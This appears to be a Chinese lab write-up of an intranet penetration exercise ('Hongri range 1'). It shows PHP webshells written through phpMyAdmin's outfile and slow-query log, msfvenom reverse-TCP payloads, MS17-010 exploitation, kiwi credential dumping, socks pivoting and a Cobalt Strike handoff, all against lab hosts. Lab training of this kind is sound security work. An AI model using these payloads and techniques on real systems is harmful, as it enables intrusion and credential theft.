靶场练习-红日靶场1
靶场练习-红日靶场1
y2xsec红日靶场一
参考文章:https://blog.csdn.net/qq_41821603/article/details/109948920
https://blog.csdn.net/Redredredfish/article/details/119864263
红日系列的第一个靶场,闲暇之余来打一下。
环境配置
虚拟网络适配器需要仅主机模式和NAT的两张网卡,设置成192.168.52.0/24
,172.16.12.0/24
两网段。
kali
1 | 172.16.12.129 |
win7
1 | 172.16.12.128 |
win2008
1 | 192.168.52.138 |
win2k3
1 | 192.168.52.141 |
从上面可以看出,win2008和win2k3是内网靶机,跳板机就是win7。除了上述的环境配置,还需要去win7打开phpstudy。
phpstudy的位置
1 | C:\phpstudy |
运行即可,接下来我会从三个方面来进行漏洞的利用,分别是phpmyadmin,yxcms,MS17-010。
phpMyAdmin
首先要了解mysql是怎么写入shell的,文章介绍了几个利用方式,这里我就介绍两个,剩下的读者自行查看。
1、直接写入shell
首先先讲一下直接写入shell的,因为写入shell需要满足secure_file_priv有值,如果为空的话我们就没有写入权限。
查看secure_file_priv的语句:
1 | show global variables like "%secure%"; |
返回的结果是空,说明无法写入shell,这个方法是不可行的。
如果有值,并且路径刚好是C:\phpstudy\WWW\
,那么可以利用下面的语句写入shell:
1 | select "<?php eval($_POST['x']);" into outfile "C:\\phpstudy\\WWW\\1.php"; |
2、慢查询日志
首先要查看慢日志查看是否开启:
1 | show variables like '%slow_query_log%'; |
返回结果long_query_time为10秒,因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时(也就是10秒),该语句才会被记入进慢查询日志。
这里即使没有开启,我们也可以手动开启:
1 | set global slow_query_log=1; #开启 |
开启后,修改日志文件的路径以及文件名:
1 | set global slow_query_log_file='C:\\phpstudy\\WWW\\1.php' |
于是写入shell,并且设置延迟时间超过10秒:
1 | select '<?php eval($_POST["x"])' or sleep(11); |
3、漏洞排查
好了,上面介绍了两个phpmyadmin的利用方式,接下来nmap扫描172.16.12.0/24
网段:
1 | nmap 172.16.12.0/24 |
结果如下
img
发现开启了80、135和3306,也就是说还开启了mysql服务。
浏览器访问172.16.12.128
,页面显示的是phpstudy的探针页面
img
下面进行路径爆破:
1 | dirsearch -u http://172.16.12.128/ |
img
发现了phpadmin目录,访问后需要输入用户名密码,直接弱口令:
1 | username:root |
进入后,根据前面讲的phpadmin慢日志来进行注入。
4、监听会话
执行完操作后,shell已经被我们写入服务器了
img
蚁剑连接
img
还可以查看我们写入的慢日志是什么样的
img
接下来的操作就简单了,msf写一个木马上传服务器反弹会话:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.129 LPORT=1111 -f exe > shell.exe |
返回会话
img
MS17-010
1、漏洞扫描
第一步老规矩扫
1 | nmap 172.16.12.0/24 |
扫的结果如下:
1 | Nmap scan report for 172.16.12.128 (172.16.12.128) |
有一台152的机子开着(kali是138),而且还有很多端口都开放的。发现了很敏感的端口,139、445,那么就应该想到ms17-010永恒之蓝漏洞。但是不确定有没有,所以还是利用nmap来验证一下:
1 | nmap --script=vuln 172.16.12.128 |
结果显而易见,是存在ms17-010漏洞的:
1 | Host script results: |
2、漏洞利用
那么接下来就有请“美少妇”登场:
1 | msfconsole |
执行完后,会话就弹回来了。查看当前用户
1 | meterpreter > getuid |
这就直接是system权限,都省的我提权了,良心!
接下来就是查看当前的路由情况:
1 | meterpreter > run get_local_subnets |
有三个网段,重点在192.168.52.0这个网段,需要添加路由。因为呢,现在获取到的shell不稳定(我试过了,会下线),所以我想再上传一个木马到靶机上,通过监听反弹到kali上会比较稳,而且靶机上没有杀软。
这里讲两个方法:
1、就是利用meterpreter的kiwi模块来获取账户的密码:
1 | meterpreter> load kiwi |
获取到账号密码之后就可以去登录靶机了,当然了这是争对主机在旁边的情况,如果不在旁边也可以实现。
meterpreter可以开启3389端口(远程桌面),权限高的可以开启。
1 | run post/windows/manage/enable_rdp |
开启之后,利用命令rdesktop连接远程桌面就可以登录了。
1 | rdesktop 172.16.12.128 |
2、这里玩点骚操作(比较麻烦,建议第一种,第二种是我第一次做的时候自己用的),kali上生成木马——shell.php,通过meterpreter会话上传到靶机上:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.129 LPORT=5555 -f exe > shell.exe |
上传到靶机的c盘上后,在kali上再起一个终端,启用监听模块:
1 | msfconsole |
然后回到会话的那个终端,执行shell.exe:
1 | meterpreter> shell |
即可监听到会话,于是原来那个会话就可以退出了,这么做是因为怕掉线,所以才上传木马的。
接下来就是利用socks模块来探测内网存活主机。
3、Socks横向移动
在小迪第70天的文章讲过sock模块的用法了,这里就不赘述了。在会话上添加路由:
1 | meterpreter> run autoroute -p |
然后利用socks模块
1 | meterpreter> back |
接着在kali起一个终端,然后利用proxychains代理探测内网:
1 | proxychains nmap -sT -Pn 192.168.52.0/24 -p139,445 |
扫到两台主机
1 | 192.168.52.141 |
并且139和445端口都开着,那就好办了,这里我用nmap扫不出来,于是我用ms17-010模块去检测一下
1 | auxiliary/scanner/smb/smb_ms17_010 |
结果是有的
1 | msf6 auxiliary(scanner/smb/smb_ms17_010) > run |
然后我又去把rhost换成143的,也是有这个漏洞,但是经过多次试验,发现只有auxiliary/admin/smb/ms17_010_command
这个模块可以使用,其他的无法弹回会话,报错显示的是不支持32位的目标,只支持64位的。
那就使用auxiliary/admin/smb/ms17_010_command
来帮忙执行命令:
1 | auxiliary/admin/smb/ms17_010_command |
结果返回:
1 | [*] 192.168.52.141:445 - Target OS: Windows Server 2003 3790 |
居然是system权限,看来这次靶场不用我提权了呀。利用同样的方法把rhost换为143的执行。
同样可以执行,并且也是system权限,接下来就可以利用meterpreter开启3389端口,然后获取账户密码(跟上面操作一样),就可以实现远控了。
yxcms
通过phpmyadmin的漏洞利用,蚁剑连接后,发现目录下还存在yxcms目录,于是访问http://172.16.12.128/yxcms
img
随便看了看就发现了网站把账户密码都告诉我们了
img
1 | username:admin |
访问http://172.16.12.128/index.php?r=admin
,登录进入后台
img
找了一下发现的利用的点在前台模板->管理模板文件这里,看了网上yxcms的利用是index_index.php文件,可以利用这个文件写入一句话木马,然后就可以在index.php页面回显。
img
编辑写入shell
img
然后直接蚁剑连接,发现可以连接成功,成功getshell。
img
接下来的步骤就是上传木马,然后返回会话,这里就不赘述了(主要是懒得写了)。关于yxcms的利用网上有很多,也存在很多漏洞,像SQL注入、XSS等。
后渗透
1、基于msf
这里本来想用msf进行密码的获取,但是貌似我的环境有问题,没法获取,具体的方法如下,读者可自行尝试,后期如果有时间搞好环境就更新这篇文章。
1 | // 导入账号,密码hash值 |
2、msf 联动CS
既然无法基于msf来获取密码,这里利用CS联动获取密码。
启动CS
1 | 服务端:sudo ./teamserver 172.16.12.129 123456 |
创建监听器
img
回到msf,利用payload_inject让CS上线:
1 | background |
CS上线,然后进行提权
img
提完权就是信息收集
横向移动
经过上面的操作,已经获取到了win7的system权限,也获取到了域内的一些信息,接下来就是域内的端口扫描
1 | portscan 192.168.52.0/24 |